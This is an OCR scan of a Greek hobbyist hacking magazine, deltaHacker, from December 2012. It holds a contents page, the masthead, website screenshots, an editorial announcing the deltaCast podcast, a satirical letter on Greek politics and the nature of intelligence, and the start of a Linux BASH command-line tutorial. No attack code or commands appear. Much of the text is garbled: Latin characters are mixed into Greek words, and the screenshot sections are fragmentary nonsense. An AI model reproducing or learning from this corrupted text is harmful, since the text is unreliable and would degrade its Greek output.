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Δεκέμβρης 2012 Ἡ τιµή τεύχους 6,4 40€ 


Iroizvourzvo 


Όχι και το τόσο τυχαίες σκέψεις, 
σε όχι και τόσο τυχαία σειρά 


ο Θείος Ακάκιος ψάχνει και βρίσκει διαταραχές επί 
διαταραχών, υποδιαταραχές, µερικές διαταραχές, πολλαπλές 
διαταραχές, ατυπικές διαταραχές κ.ο.κ. Ki όλα αυτά για να 
αποφύγει τους εορταστικούς στολισμούς, λόγω των ηµερών 


η αρχική προσέγγιση 


τι νομίζατε, δηλαδή; ότι δεν θα σας δίναμε 
εναλλακτικές για το λειτουργικό TOU router σας; 


συνθέτοντας ro κύμα 


η πρώτη επίθεση 


άλλος ένας λόγος για να µη χρησιμοποιήσετε 
Ἀποτέ &avá* δισκάκια! 


οι παγίδες rou cross-platform 
programming 


µια µικρή, εντελώς φανταστική ιστορία 
κατασκοπείας, µε διήγηση πολύ πιο ενδια- 
φέρουσα από τον επίλογο! 


Εκδότης / Διευθυντής Χρήστος Βαρελάς 

Αρχισυντάκτης Παναγιώτης Βαρελάς 

Σύμβουλοι ἐκδοσης Νίκος Μουρατίδης, Βούλα Παυλίδου 

Σύνταξη Παναγιώτης Βαρελάς, Χρήστος Βαρελὰς, Ανδρέας 


Βενιέρης, Γιώργος Γιάννου, Μανώλης Κιαγιάς, Ιωάννης 
Κονιάρης, Γιώργος Μελέκος, Νίκος Μουρατίδης, Νικόλαος 
Σηφάκης, Μέσος Παπαδόπουλος (TM), Χρίστος Τόμπρας 


Γραμματικἠ επιμέλεια Βούλα Παυλίδου 


Καλλιτεχνική Επιμέλεια Πέτρος Φιλιππίδης 


To περιοδικὀ deltaHacker εἶναι συνδρομητικό και εκδίδεται anó την Parabing Creations 
δώδεκα φορὲς το χρόνο, κάθε μήνα. H Parabing Creations ἐχει την έδρα της στη Μαιώτιδος 
3, 55 133, Καλαμαριά. H εκτύπωση και η βιβλιοδεσία γίνονται απὀ την ThessPrint Α.Ε. To 
email επικοινωνίας του περιοδικού εἶναι το talk2usQdeltahacker.gr και ro email για τις 
συνδρομὲς ro subscriptionsQdeltahacker.gr. Οι πληροφορἱες για τις συνδρομὲς εἶναι στο 
http://deltahacker.gr/subscriptions και οι παραγγελἰες γίνονται anó το http://deltahacker. 
gr/order. Όλες οι απὀψεις που εκφράζονται στα άρθρα δεν εκφράζουν απαραίτητα και τη 
γνώμη του περιοδικού. 


(3) γίνονται ήδη ταξίδια στο χρόνο; 
Η απάντηση στο deltahacker.gr/?p-6934 


σος jo 


auto σᾶς, 
vo vi 


EYES EIE 


blast from the past | deltaHacker 
deltahacker.gr 


gp: vimeo 


Du 


p 


τε 
μμ ων 
: e έθλισ εἶναι iio 
vel 


, mox 


Πλήρη άρθρα που συμπληρώνουν το περιοδικό 


ges /dev/random addenda 


IRC Bots 


Posted by Thi 03/12/2011, 19:34 | Published in blast from th 


> Hello, | am Eliza. 

* Hello Eliza, how are you? 

> Why are you interested in whether or not | am 7 
* Because | care about you. 

> We were discussing you, not me. 

* Ok, sorry. 

> Please don't apologize! 


Χάκινγκ στο Διαδίκτυο 


Posted by Thi 29/11/2011, 00:32 | Published in blast from 


Γυναικεία Ρούχα 
Mya mori γα λα τα γκῦστα. } 
Δωριόν παράδοση, aat nipa! | 


mind hack: forums ~ 


Ὄνομα χρήστη: 
Κωδικός: 


Να ut θυμάσαι 
αὐνδιση » 


Εγγραφή 


Χάσατε τον κωδικό σας; 


Το Διαδίκτυο θα μπορούσε να χαρακτηριστεί σαν µια παγκόσ 


pma θελήσει, αρκεί βέβαια να έχει πρόσβαση. Υπάρχουν τα καλά o 
κακόφηµα στέκια, τα σκοτεινά στέκια και γενικά οτιδήτ 
4 κανείς να φανταστεί. Οἱ παγκόσμιοι κάτοικοι ἡ αλλ 
διαδικτύου, δηλαδή εμείς οι ἴδιοι, συνήθως ανήκο 
τάξη των «φιλήσυχων» πολιτών 
πάντα στο φώς και στο προσκήνιο, Κάθε τι 
παρασκήνιο 


Οι αληθινοί χάκερ 


Posted by 20 


ση 
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Posted by su 
1311/2012, 
2012, 1725 p 
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Posted by 


California Dreaming 


11/09/207 
5 012, 08:24 | p 
ΠΗ 
To φθινότιω, 


Xt ἐμείς 
hs ς έχουµε 
'στικούς μήνες που 


To εβδομαδιαῖο 


deltaCast. Τα προκλητικά mind hacks. Όλα τα βίντεο από τα live 


streams. Ολόκληρα blasts from the past. Τα πάντα ενδιαφέροντα 
forums. To σηµείο συνάντησης για τους φίλους του περιοδικού. 


deltahacker.gr 


Διασκεδαστικό hacking για όλους! 


ον πηρα 


Όνομα χρήστη, 


Κωδικός: 


E Na µε Qu, 
E 


Εγγραφή 


Ῥάσαι. 


Χάσατε τὸν κωδικά 
"κό σας. 


όποιο repo gre 


Σε Πολὺ 
de Πολύ χαμηλός 


Εν ες αερα 


Me θερισρύτερα με, 
Yorowo oos "I δσθεομόπο on 
tui. d 
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Σίγουρα θα ro έχω αναφέρει ξανά, ὅμως αισθάνομαι την ανάγκη να το αναφέρω 
και πάλι: Μεταξύ ζέστης και κρύου, εἶμαι απὀ εκείνους που επιλέγουν το δεύτερο 
-- και το επιλέγουν nepinou σε £va πέμπτο του νανοδευτερολέπτου. Ξέρω βέβαια 
ότι το κρύο δεν εἶναι καθόλου δημοφιλὲς φέτος. Κατανοώ φυσικά το γιατί, το κα- 
raAafaivo ἠδη στην τσέπη µου και κόντρα µε τους φίλους της ζέστης δεν πάω, 
τουλάχιστον ὀχι ακόμα. Εντελώς μεταξύ µας, όμως, πολύ χαΐρομαι που επιτέλους 
χειμώνιασε! 


by subZraw 


Πώς va ro κάνουμε, εἶναι ἄλλο πράγμα va προσπαθεἰς va δουλέψεις κι £&o va κἀνει χαρά 
θεού, κι εντελώς ἆλλο να προσπαθεἰς να δουλέψεις κι ἐξω να κάνει AUTÒ που ονομάζεις 
Ἐπραγματικὴξ χαρά θεού, και σημαίνει ὁτι το χειμώνα η θερμοκρασία δεν ξεπερνά τους 10 
βαθμούς, ενώ το καλοκαίρι φτάνει το πολύ στους 24. Ότι και να γίνει, ὁποιες κι αν εἶναι Οι ς 
συνθήκες που επικρατούν στο τοπικὀ αλλά κι ευρύτερο σύστημα του καιρού, σαστολέω e 
ευθύς εξαρχἠς ὁτι yia εμένα αυτές εἶναι οι δύο αποδεκτές, μέγιστες τιμές, για χειμώνα και pom 
καλοκαίἰρι. 


Πολλοί βέβαια θα διαφωνήσουν. Εντάξει, καταλαβαίνω ὁτι θα ἐχουν τους λὀγουςτους, 
αλλά αυτό δεν αλλάζει το γεγονός πως, αν ἦταν στο x&pi µου, θα περνούσα νόμο που 
θα επέβαλε τα προαναφερθέντα ἄνω ópia. Και, φυσικά, για τις ὁποιες napapaosic-slash- 
παρεκκλίσεις θα ακολουθούσαν αμεσότατες διορθωτικὲς παρεμβάσεις, µε εξαιρετικά ano- 
τελεσματικὲς, αθὀρυβες συσκευὲς ελέγχου καιρού, στρατηγικἁ ανεπτυγμένες ανά την επι- 
κράτεια. Το πολύ πολύ να ἑβγαζαν ἑναν απαλὀὸ βόμβο, δηλαδή, τον οποίο όµως θα ἄκουγες 
μόνον αν πλησἰαζες στα 200 μέτρα. (Περισσότερο δεν ἐχει και πολὺ νόημα, αφού οὕτως 
ἡ ἄλλως εἶναι κάπως ογκώδεις και (ψηλὲς και µε τις κεραίες τους ανεπτυγμένες εἶναι πολύ 
—- ψηλότερες -- ὀχι ότι δεν φαίνονται απὀ μακριά κι όταν τις ἐχουν μαζεμένες.) 


Ἔγραψα ropa γι' αυτές τις ευλογημένες συσκευὲς, και τι θυμήθηκα; Έναν ταξιτζἠ, Kå- 
ποτε στην Αθήνα, ο οποίος σε µια κούρσα anó κάπου ως κάπου αλλού --λεπτομέρειες δεν 
θυμάμαι--, µου εξηγούσε Ori, ναι, εντάξει, µας ψεκάζουν, αλλά αυτό που δεν ξέρει ο πολύς 
κόσμος εἶναι ὁτι η σχετικἠ τεχνολογία βασίζεται σε µια συγγενικἠ που κατέχουν οι Αµμε- 
ρικάνοι, η οποία επιτρέπει τον ἐλεγχο του κλίματος. Προσέξτε: Όχι του καιρού, αλλά του 
κλίματος ολόκληρου. Βέβαια και οι Ρώσοι δεν πάνε πίσω, πάντα σύμφωνα µε τον ταξιτζἠ. 
Μπορεἰ να µην ¿xouv παρόμοιες συσκευές αυτοί, αλλά ¿xouv κάτι ἄλλες που προκαλούν 
σεισμούς. Αν δεν κάνω λάθος κάπως έμπαιναν και οι Κινέζοι στο παιχνίδι, αλλά µε ποιο 
μυστικὀ ὁπλο δεν θυμάμαι. Θέλω να γράψω µε κἀποιο ὁπλο που επιτρέπει τη µαζικότατη 
παραγωγἠ οτιδήποτε μπορεί να φανταστεί κανείς, αλλά εἶμαι σχεδὸν βέβαιος ὁτι αυτό το 
επινόησε ο νους µου, οκτώ δευτερὀλεπτα πριν. 


= Τέλος πάντων, στο θέμα µας. Έπεσε που λέτε η θερμοκρασία κι ἑνα απὀ τα θετικἀ 
για τον γράφοντα ἠταν ὁτι, επιτέλους, καμώθηκε κι ασχολήθηκε μ' auró το διαβόητο 
deltaCast. Μάλλον θα ἐχετε ακούσει/διαβάσει *rouAdyicTov* µία φορά για ro deltaCast. 
Εδὠ κι ἑνα χρόνο το διαφηµίζουµε ανακοινώνοντας Ori, να, την ἄλλη βδομάδα αρχίζει. 
Σύντομα απεδείχθη ὁτι αυτή η "άλλη βδομάδα" εἶναι απλά µια αναδρομική συνάρτηση του 
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χρόνου. Ξέρετε, απὀ αυτές που αν θέλεις va ψαρώσεις κόσμο τις γράφεις κάπως £TOI 
f(f(f(...(f(...)))), και στον πιθανώς σαστισμἑνο συνομιλητή/αναγνώστη επισηµαΐνεις OTI 
αυτή η ἐνθεση συνεχίζεται για πάντα. 


Ευτυχώς, στην περίπτωση του deltaCast η αναδροµικἠ συνάρτηση που δίνει TO XpÓ- | 
vo ἑναρξής του δεν εἶναι κατ' ανάγκη ἄπειρη, αλλά τερματίζει υπὀ συνθήκες. Και τελι- 
κά, µια συνθήκη τερματισμού ἦταν η εξἠς: "να περάσει τουλάχιστον ἑνας χρόνος απὀ 
| την κυκλοφορία του deltaHacker 001, να µην κάνει ζέστη και η θερμοκρασία va ἐχει 
πέσει σημαντικά". 


Ξεκίνησε, λοιπὸν, το εβδομαδιαίο video podcast του deltaHacker, αυτό nou εμεὶς 
ονομάζουμε deltaCast και που πολύ θα χαρούμε αν κι εσεἰς ονομάζετε ἐτσι. Τη στιγμὴ 
που γράφονται οι γραμμές τούτες, δύο επεισόδια ἐχουν κυκλοφορήσει και ἠδη έχουν 
ξεκινήσει οι προετοιμασίες για το τρίτο. Γενικά, το καλύτερο μέρος για va παρακολου- 
θείτε το deltaCast εἶναι απὀ το site του περιοδικού, και συγκεκριµένα απὀ το 


http://deltahacker.gr/category/deltacast 


Εναλλακτικά, πηγαἱνετε στο deltaHacker.gr κι απὀ το μενού της δεύτερης οριζὀντιας 
μπάρας (απὀ πάνω), επιλέγετε netcasting > deltaCast. 


Ὅπως µας αρέσει να λέμε, η θεματολογία του deltaCast περιστρέφεται γύρω απὀ 
τα θέματα nou µας ενδιαφέρουν και ξέρουμε Ori ενδιαφἐρουν *kai* εσάς, τους ava- 
γνῶστες του περιοδικού. To deltaCast δεν θέλουμε va εἶναι κατανοητὀ μόνο απὀ τους 
προχωρημένους, οὐτε όμως να αφορά µόνο τους αρχάριους. Ακολουθούμε µια µέση 
000 και, σε κάθε περίπτωση, δεν κολλάμε στις λεπτομέρειες, οὐτε χανόµαστε σε ATÈ- 
λειωτες, συχνὰ βαρετὲς παρουσιάσεις κι αναλύσεις. 


Αντίθετα, αυτό που θέλουμε να κάνουμε εἶναι, ας πούμε, τεχνολογικὲς διηγήσεις, 
γύρω απὀ θέµατα που πιστεύουμε ὁτι ὁσοι ασχοληθούν στην πράξη, £, δεν θα το 
μετανιώσουν. Βέβαια υπάρχουν ἀπειρα πράγματα να μάθουμε ακόµη για το video 
casting (και το screencasting), ενώ ἐχουμε και τεράστια περιθώρια βελτίωσης. Αυτό 
όμως εἶναι κι ἑνα απὀ τα ενδιαφἑἐροντα της ὀλης ιστορίας ;) Πιστεύουμε ότι µε τη δικἠ 
σας συμμετοχή, µε τις παρατηρήσεις, τις υποδείξεις και τις ιδέες σας, θα φτιάξουμε 
--- και πάλι KATI που *kar* θα διασκεδάζει *kar* χρήσιμο θα εἶναι. 


E oxi Τι λέτε κι εσεἰς; 


= 


σνένλ. μένλ 


Αγαπητοί µου, 


Καλημέρα σας και ευχές για έναν καλό µήνα. 


' 
Πρωτομηννά σήμερα, xov στο σπίτιν επικρατεῖ κάποια αναστάτωση. Αρχί- 
ζει, βλέπετε, καν επισήμως η Φετεινή Βορταστικῆ Περίοδος (PET). 


Από το πρωΐ η μητέρα της εξαδέλφης xol η:Μαυρούλα κατεβάζουν κούτες, 
κουτιά καν παρακουτιά, µε τα χριστονγεννιάτικα απὀ το πατάρι. Καν πρώτα 
από όλα το δέντρο, που το είχαμε πάρεν στο TÓxvo πριν από IZ χρόνια. 


Εύναν πλαστικό βέβανα, καν δεν χρειάζεται νερό, αλλά εδώ που τα λέμε 
δεν φανταζόμουν ότι θα πρατήσεν τόσο πολύ. 


Ῥορταστική, λοιπόν, απὀ σήμερα η περίοδος στο Σπίτι, αλλά εγώ προς το 
παρόν δεν συμμετέχω. Μήνας που είναν, είχα σκοπό να σας γράφω τν θέλω 
να nov φέρεν φέτος ο Άγιος Βασίλης, αλλά τώρα που είµαν µπροστά στη 
γραφομηχανή σκέφτομαι διάφορα άλλα και µου έχει φύγεν η ὀρεζη. 

Κατ’ αρχάς ένα θέµα είναι (καν ίσως το σοβαρότερο), πού λεφτά για 
δώρα φέτος. 

Πήραμε βέβαια τη δόση, δε λέω. Καν yv αυτό βλέπεν κανείς το οικονο- 
μιυκό επιτελείο να έχει πλημμυρίσεν στην αισιοδοξία. Πραγματική πλημμύρα. 
Να φανταστείτε, δηµμοσινογραφικές πηγές αναφέρουν ότι κάποια στιγμή, τις 
προάλλες, σκεφτόντουσαν να καλέσουν την πυροσρεστική. 

Τελικά αποφάσισαµε, μαθαίνω, να µην πάμε στην Γιουροβίζιον -- υποθέ- 
τω για να δείξουµε στους κοντόφραγκους ÓTL εμείς, στο Ελλάντα, όταν λέμε 
σκληρή δουλειά το εννοούμε. Καν φυσικά για να κάνουμε τους Γερμανούς να 
νονώσουν ἄσχημα, που µας κακολογούν για τεμπέληδες καν χαραμοφάηδες. 

Γνατί όπως θα σας εξηγήσει θριαμβευτικά κάθε δημοσιογραφική πηγή που 
σέβεται τον εαυτό της, είναν γνωστό τοις πάσι πως ον Έλληνες εργάζονται 
πιο πολύ απὀ όλους. 

Από όλους, ντε. Kv από Γερμανούς, κι απὀ Ολλανδούς, Xv από Φινλανδούς 
-- απὀ όλους. Μόνο στη Χιλή, στην Κορέα και στο Μεξικό δουλεύουν πιο 
πολύ απὀ µας. 

Δεν τα βγάζουν απὀ το μυαλό τους αυτά ον δηµμοσιογραφικές πηγές, στον 
ΟΟΣΑ τα λένε. 

Βέβανα δεν λένε µόνο αυτά στον ΟΟΣΑ. Λένε επίσης ÓTL το πόσο δουλεύειν 
ο καθείς δεν είναν το ίδιο µε το αν και κατά πόσο δουλεύειν παραγωγικά, Ἀν 
ἔχουν καμιά ενκοσπενταριά ακόµα στατιστικές απὀ δίπλα για να δώσουν πιο 
πλήρη --καν μάλλον διαφορετική από αυτή που µας προτείνουν ον δηµοσιο- 
γραφικές πηγές-- εικόνα. Ας είναν. 

Μια που λέμε για Κορέα, δεν ξέρω αν παρακολουθείτε τα της Βορείου, 
αλλά εγώ που ενδιαφέρομαν κοιτάζω στις ειδήσεις και λαμβάνω αντιφατικά 
μηνύματα. 

Από τη µία διαβάζω yla το νέο αέρα που --υποτίθεται-- φυσάει στη 
χώρα, απὀ τότε που ανέλαβε τα ηνία ο Κιμ Γιονγκ Ουν. (Εύναν, μαθαίνω, 
«περισσότερο φιλικός» µε τους πολίτες καν στρατιώτες που συναντά. Τους 


E 
π 
Hi 
E 
5 
8 
8 
R 
x 
* 
E 


Σνέιλ μέιλ 


LLL 


επντρέπεν μάλιστα «να τον αγκαλιάσουν», κάτι που θα ήταν αδιανόητο yia 
τον πατέρα ἡ τον παππού του.) Και από την άλλη διαβάζω για τον ανιφιό 
του, Κιμ Χαν Σολ, ο οποίος είναν στην Βοσνία καν σπουδάζει, µε λεφτά του 
κράτους υποθέτω, αλλά χωρίς να χάνει την ευκαιρία να αντιπολιτευτεί χα- 
ρακτηρίζοντας δικτάτορα το θείο του. 


Ῥέβανα ένας ανιφνός δεν είναν ποτέ αξιόπιστη πηγή, όπως θα μπορού- 
σα εκ πείρας να σας διαβεβαιώσω. Ειδικά αν έχεν πάει στη Βοσνία για να 
σπουδάσεν. (Μα τώρα, σοβαρά: Στη Βοσνία; Πώς την εἶδε; Αλλά τέλος πά- 
ντωνε) 

Λικτάτορας, ξε-δυκτάτορας, όλοι συμφωνούνε πάντως (δηλαδή όλες ον 
δημοσιογραφικές πηγές) ότι εἶναι ολοένα και πιο δύσκολο για το καθεστώς 
να διατηρήσει τη χώρα κλειστή καν προστατευμένη. E Βόρενος Κορέα αλλά- 
ζεν. Αργά αλλά σταθερά. 

Αυτά πον λέτε σκέφτομαι απὀ το πρωί καν μου έχει φύγεν η ὀρεζη να 
φτιάξω λίστα µε δώρα για τον Άη Βασίλη. 

To άλλο που έχω στο μναλό μου, καν δεν μπορώ πλέον να αποφύγω βλέ- 
ποντας τις µάτανες προσπάθειες όλων εδώ µέσα να συντονιστούν στον εορ- 
ταστικὀ στολισµό TOU σπιτιού, έχεν να κάνει µε αυτά που σας έγραφα την 
τελευταία φορά KAL άφησα στην μέση. 

περί νοημοσύνης. Έγραφα, αν θυμάστε, ÓTL η νοημοσύνη δεν υπάρχει. Δεν 
είναν νδιότητα, δεν είναν χαρακτηριστικό, δεν είναι ποιότητα, έλεγα, καν 
κατέληγα στο ÓTL είναι περιγραφή. Αλλά περιγραφή ποιανού πράγματος, 
ρωτούσα, καν το άφηνα εκεί, προτρέποντας όσους ενδιαφερόµενους να TO 
σκεφτούμε καν να επανέλθουµε. 


Επανέρχομαι λοιπόν, χωρίς να έχω να προτείνω ξεκάθαρο ορισμό, αλλά 
pia μεθοδολογία να το φάξουμε το θέμα. 


To ερώτημα, λονπόν, κατά τη γνώμη µου, είναι κατά πόσο θυμόμαστε 
ότι η περιγραφή ενός φαινομένου εἶναι απλώς κάτι που βοηθάει εμάς τους 
ανθρώπους να μιλήσουμε για αυτό -- δηλαδή κατά πόσο αποφεύγουμε το 
λάθος να θεωρήσουμε ÓTL, επειδή μια περιγραφή µας βολεύει, αυτό σημαίνει 
πως νπάρχει KAL ως αυθύπαρκτη οντότητα. 

Ας πάρουμε prav έννοια που θεωρείται αυτονόητη, την έννοια του IG. 
Σον λέεν ο άλλος έχω IQ τόσο, πω πω, πόσο έξυπνος εἶμαι. Κανονικοποιούμε 
συμβατικά. το µέσο όρο ενός πληθυσμού ως IQ ICO, καν κάθε τν παραπάνω 
το θεωρούμε «έξυπνο» καν κάθε τι λιγότερο το θεωρούμε «όχι έξυπνο». 
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To IQ θεωρείται πλέον επιστημονικό μέγεθος, και χρησιµοποιείταν ως 
δείκτης π.χ. για µια πρώτη χοντρική ταξυνόμηση των μαθησιακών δυσκο- 
λνών, σε βαριές, ἥπιες κ.λπ. Όλα μονάζουν όμορφα καν τακτικά, µέχρι να 
αρχίσουμε να το εξετάζουμε το θέµα από πιο ποντά. Βλέπουμε τότε ότι 
πίσω απὀ την όμορφη στατιστική µας καμπάνα του Γκάους, κρύβονται κάθε 
είδους ανακολουθίες. O ένας είναν µια χαρά παιδί σε IG, αλλά έχει «δυ- 
σλεξία». O άλλος δεν έχει «δυσλεξία», αλλά έχεν «διαταραχή ελλειμματικής 
προσοχής». O τρίτος τα καταφέρνει pla χαρά -- γράφεν, διαβάζει, λύνεν 
προβλήματα χ.λπ.-- αλλά παρουσιάζει «ελλευμματική ενσυναίσθηση» (6n- 
λαδή δεν µπορεί να νοιώσει συμπόνια, κατανόηση ἡ λύπη). O άλλος, κάτι 
άλλο. 


Όσο το κοιτάς, τόσο µπλέκεν. Διαταραχές επί διαταραχών, υποδιαταρα- 
χές, μερικές διαταραχές, πολλαπλές διαταραχές, ατυπικές διαταραχές καν 
πάεν λέγοντας. 

To ερώτημα που τίθεται, λοιπόν, είναι: Περί τίνος πρόκειται; Tv είναν το 
TQ; Tv είναν όλες αυτές ον διαταραχές; Σε τν αντιστοιχούν; Πάσχεν κάπον ο 
εγκέφαλος» Κάποιο τµήµα του εγκεφάλου; O βρεγματυκός λοβός; H περιοχή 
του BPoca; Κάτι άλλο; 


E κυρίαρχη ερευνητική υπόθεση είναν πως ναι. H παθολογία του οργάνου 
εκφράζεται ως --ἡ αντικατοπτρίζεται σε-- ᾠνχοπαθολογία, 

Από όπου φαίνεται να προκύπτει καν το αντίστροφο συμπέρασμα: H no- 
λυμορφία της ᾠυχοπαθολογίας αντιστοιχεί ἡ ανάγεται σε λειτουργική πολυ- 
poppia τον οργάνου. 

Οπότε στρώνονται στην δουλειά ον ερευνητές, παλεύοντας να διατυ- 
πώσουν τις λεπτομέρενες αυτής της αντιστοίχησης. άχνουν ας πούμε να 
δούνε πού στον εγκέφαλο γίνεται η επεξεργασία της ενσυναίσθησης ἡ ποιο 
είναν το κέντρο ελέγχου της προσοχής. 

Μάτανα, αγαπητοί μου. 

θα µου πείτε: Tv σχέση έχουν όλα αυτά µε την τεχνητή νοημοσύνη -- ἡ 
έστω µε την σκέτη νοημοσύνη: Τι µας νοιάζει αν η φυχοπαθολογία αντι- 
στουχεί ἡ ὀχν σε λειτουργική παθολογία του εγκεφάλου; 

H απάντησή µου είναν πως έχουν άµεση σχέση, και αυτήν προσπαθώ να 
σας περιγράφω. O νσχυρισµός µου είναν πως ον επιστήμονες συγχέουν τις 
ερευνητικές τους υποθέσεις µε τις ερευνητικές τους παρατηρήσεις καν µετά 
από λίγο ξεχνάνε ποιο ήταν ποιο. 


Κατά τον ἴδιο τρόπο που η «ελλευμματική ενσυναίσθηση» είναι απλή 
περιγραφή ενός φαινομένου xav όχν αυτοτελής οντότητα, δηλαδή δεν προ- 
καλείται (αναγκαστικά) από βλάβη πάπονου εγκεφαλικού κέντρον «ενσυναί- 
σθησης», o ισχυρισμός µου είναν πως µια έννονα όπως αυτή της «νοημοσύ- 
νης» δεν είναι παρά µνα αυτοαναφορική περιγραφή της συμπεριφοράς ενός 
συστήματος που επιδεικνύει αυτή την συμπεριφορά. Δεν είναν οὔτε νδιότη- 
τα, Ούτε χαρακτηριστικό οὔτε ποιότητα του συστήµατος αυτού. 

Ελπίζω να είναν σαφές πως το κλειδί στην παραπάνω παράγραφο είναι η 
λέξη «αυτοαναφορική». 

Αυτά. Κάνω καν πάλι µια παύση καν πάω να παρέµβω στο στόλισµα του 
δέντρου, γιατί απ’ ὁὀ,τν βλέπω η μητέρα της Βξαδέλφης έχει κατεβάσει από 
το πατάρι και το κουτί µε τα αγαλματίδια του Βισνού, καν προτίθεται 
να µετατρέφεν το δέντρο µας σε υνδουιστικὀ νερὀ. Πρέπει να µπεν κάποιο 
όριο. 


Καλές γιορτές. Τα λέμε του χρόνου. θα επανέλθω. 


Σας ασπάζομαι, 
θείος Ακάκιος 


deltaB 


HA(GKER 


Στη 2η χρονιά και συνεχίζουμε ακάθεκτοι! 
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H αρχικἠ προσέγγιση 


Οι πατεράδες µας μᾶλλον δεν θα 
μάθουν ποτὲ óri το GPS στο αυτοκίνητο 
ἐχει «kernel», αφού σχετικὀ κουμπὶ 
δεν πρὀκειται να βρουν. Αντίστοιχα, 
οι μανάδες µας δεν θα υπουψιαστούν 
ποτὲ ὁτι η νέα τηλεόραση ενσωματώνει 
κάτι που ονομάζεται process 

scheduler... Εμείς βέβαια έχουμε 
ακούσει για το Linux. Ξέρουμε Ori 
κρύβεται µέσα σε smartphones, 

TO εγκαθιστούµε KAIA φορά σε 
virtual machine για να rou ρίξουμε 
µια ματιά, ενώ γνωρίζουμε ὁτι θα το 

τρέχει και το VPS που σχεδιάζουμε v’ 
αγοράσουμε. Προσφάτως ἔχουν αρχίσει 
ν΄ ασχολούνται µε TO Linux κι ὅσοι 
παίζουν µε τα πολύ μικρὰ κι εξαιρετικἁ 
φθηνά συστήματα, ὅπως εἶναι το 
Raspberry Pi. Εντάξει, καλὀ δείχνει το 

Linux, αλλά εἶναι κάπως παράξενο και 

μάλλον στρυφνὀ... Τι λέτε; Μήπως έχει 

φτάσει η opa va το μάθουμε anó την 
καλή και να του πάρουμε τον αέρα; 


bu Spir] Evolut18n 
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Πα τους περισσότερους απὀ εμάς --yia να µην πούμε για ὁλους-- TO Linux 
δεν αποτελεὶ κάτι το καινούργιο. Το έχουμε ακούσει πολλὲς φορὲς και το 
έχουμε χρησιμοποιήσει ακόµη περισσότερες. Κάπου εδὠ όμως υπάρχει 
µια µικρή λεπτομέρεια: Πού το συναντάμε συνήθως και NWG το χρησι- 
μοποιούμε; H αλήθεια εἶναι ὁτι το βλέπουμε στα smartphones, το εγκα- 
θιστούµε σε εικονικές μηχανὲς και καμιὰ φορὰ το φορτώνουμε και στον 
κύριο υπολογιστή µας. Με άλλα λόγια, τις περισσότερες φορές αλληλε- 
πιδρούμε pači του μέσα απὀ κάποιο παραθυρικὀ περιβάλλον. Βλέπετε, 
ανεξάρτητα απὀ τους λόγους nou µας οδηγούν va το τρέξουµε σε µια 
εικονικἠ μηχανή ἡ και στον αληθινὀ υπολογιστή, επιλέγουμε (σχεδὸν) 
πάντα µια mainstream διανοµή, µε napa8upikó περιβάλλον και γενικἁ µε 
απ΄ όλα! Αυτὀ δεν εἶναι καθόλου κακὀ, φυσικὰ. Τη δουλειά µας θέλουμε 
να κάνουμε -- και θέλουμε να την κάνουμε εὐκολα. Ωστόσο η χρήση rou 
Linux (μόνο) µε τη βοήθεια του ποντικιού ἐχει ορισμένες παρενέργειες. H 
σημαντικότερη απὀ αυτές ἐχει να κάνει µε τη λανθασμένη εντύπωση Ori 
«ξέρουμε Linux». Αυτή η πεποίθηση αποτελεἰ ὑπουλη αυταπάτη. Πιθανώς 
μάλιστα να µας κρατήσει µακριά anó σημαντικὲς γνώσεις κι ενδιαφἐρου- 
OEG εφαρμογές. 


To ζήτημα µε τον τρόπο χρήσης του Linux δεν εἶναι μόνο θεωρητικὀ. 
Ὅταν θέλουμε να στήσουμε ἑναν server σε κἄποιο VPS, αναγκαζὀμα- 
στε να εγκαταλείψουμε την θαλπωρή των παραθύρων και να στραφούμε 
στην γραμμὴ εντολών. Το ἴδιο συμβαίνει κι όταν θέλουμε να επἐµβουµε 
στα «£ykara» ενὸς smartphone ἡ όταν σκοπεύουµε va ro χρησιμοποιἠ- 
σουµε σε κάποια xakepid. AUTÒ μάλιστα ισχύει τόσο για TIG συσκευὲς µε 
Android, ògo και για εκείνες µε iOS. Βλέπετε, αυτά τα δύο λειτουργικἁ 
βασίζονται στο Unix και η γραμμή εντολών τους εἶναι, πρακτικά, navo- 
μοιότυπη! Εξάλλου, µε τη γραμμή εντολών rou Linux µπλέκουν κι ὁσοι 
απέκτησαν ἑνα Raspberry Pi, προκειµένου va το μετατρέψουν σε media 
tank, κατεβαστήρι, VPN server ἡ οτιδήποτε ἆλλο σκαρφἰστηκαν (βλ. και 
deltaHacker 013, σελ 012). Τα παραδείγματα εἶναι ατελεἰωτα και νομἰζου- 
µε ὁτι δεν χρειάζεται να συνεχίσουμε την παράθεση. Το ζήτημα εἶναι ότι 
υπάρχει τουλάχιστον ἑνας καλὸς λόγος για va εξοικειωθούν *óAor* µε τη 
γραμμὴ εντολών rou Linux. Κι εδώ που τα λέμε, γιατὶ va εξοικειωθούν 
µόνο; Γιατὶ va µη μάθουν τα πάντα και να µην αποκτήσουν τον πλήρη 
ἐλεγχο του συστἠματὸς TOUG;! 


Το κέλυφος BASH 


Ὅπως και στην περίπτωση των Desktop Environments (βλέπε Unity, 
KDE, Xfce, κ.ἀ.), ἐτσι και στην περίπτωση της γραμμὴς εντολών το Linux 
προσφέρει αρκετὲς εναλλακτικές. Πριν προχωρήσουμε, ὁμως, πρέπει να 
ξεκαθαρίσουµε κάτι: Όπως κάνουμε λὀγο για «κέλυφος γραφικών» κι 
αναφερόμαστε σε κἀποιο παραθυρικὀ περιβάλλον, ομοίως μπορούμε va 
μιλήσουμε για «κέλυφος ρυθμού χαρακτήρων» και ν΄ αναφερθούμε σε 
κάποια υλοποίηση της γραμμἠς εντολών. Βέβαια, όταν κάποιος χρήστης 
TOU Linux κάνει λὀγο για το κέλυφος (σκέτο) αναφέρεται σχεδὸν πάντα 
στη γραμμή εντολών. H κυρίαρχη υλοποίηση της γραμμἠὴς εντολών του 
Linux γίνεται anó ro δημοφιλέστατο BASH. Πρὀκειται για τον βελτιω- 
μένο anóyovo ενὸς κελύφους που ἐτρεχε παλιὰ σε συστήματα Unix κι 
ονομαζόταν sh. Το ὀνομα BASH προκύπτει απὀ ra αρχικἁ των λέξεων 
Bourne? Again SHell κι αποτελεἰ Aoyonaiyvio µε τη φράση «born again» 
(γεννημένος ξανὰ). Κάπου εδὠ θα μπορούσαμε να ξεκινήσουμε ἑνα Kap- 


1. E; Γιατί; 
2. Bourne ονομάζεται o δημιουργός του. 
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μένο flamewar, συζητώντας yia την υπεροχἠ ἡ ὀχι του BASH ἐναντι àÀ- 
λων υλοποιήσεων. Για va μαστε ειλικρινεἰς, ο κύριος λὀγος για rov onoio 
ασχολούμαστε µε το BASH εἶναι ἑνας: Εἶναι το προκαθορισμένο shell 
